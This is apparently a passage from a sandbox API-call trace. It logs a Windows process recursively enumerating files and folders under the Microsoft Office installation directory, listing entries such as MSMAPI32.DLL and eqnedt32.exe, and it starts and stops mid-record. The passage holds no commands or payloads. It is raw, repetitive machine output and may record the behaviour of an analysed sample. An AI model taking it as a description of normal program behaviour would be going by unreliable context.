| out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.455] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.455] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0287.455] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0287.456] GetProcessHeap () returned 0xaf0000 [0287.456] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.456] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0287.456] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.456] GetProcessHeap () returned 0xaf0000 [0287.456] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0287.457] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0287.457] GetProcessHeap () returned 0xaf0000 [0287.457] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0287.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.458] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.458] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0287.458] GetProcessHeap () returned 0xaf0000 [0287.458] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.459] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.459] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0287.459] GetProcessHeap () returned 0xaf0000 [0287.459] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.460] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.460] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0287.460] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0287.460] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0287.460] GetProcessHeap () returned 0xaf0000 [0287.460] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.460] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0287.460] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.460] GetProcessHeap () returned 0xaf0000 [0287.460] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.461] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0287.461] GetProcessHeap () returned 0xaf0000 [0287.461] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.462] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.462] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44230, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0287.462] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0287.462] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0287.463] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0287.463] GetProcessHeap () returned 0xaf0000 [0287.463] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.463] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0287.463] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.463] GetProcessHeap () returned 0xaf0000 [0287.463] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0287.464] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0287.464] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0287.464] GetProcessHeap () returned 0xaf0000 [0287.464] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0287.464] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0287.464] GetProcessHeap () returned 0xaf0000 [0287.465] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0287.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0287.465] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.465] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0287.466] GetProcessHeap () returned 0xaf0000 [0287.466] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0287.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.467] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.467] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0287.467] GetProcessHeap () returned 0xaf0000 [0287.467] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 1 [0287.469] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 0 [0287.469] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.471] GetProcessHeap () returned 0xaf0000 [0287.471] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.471] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0287.471] GetProcessHeap () returned 0xaf0000 [0287.471] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.471] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.907] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, 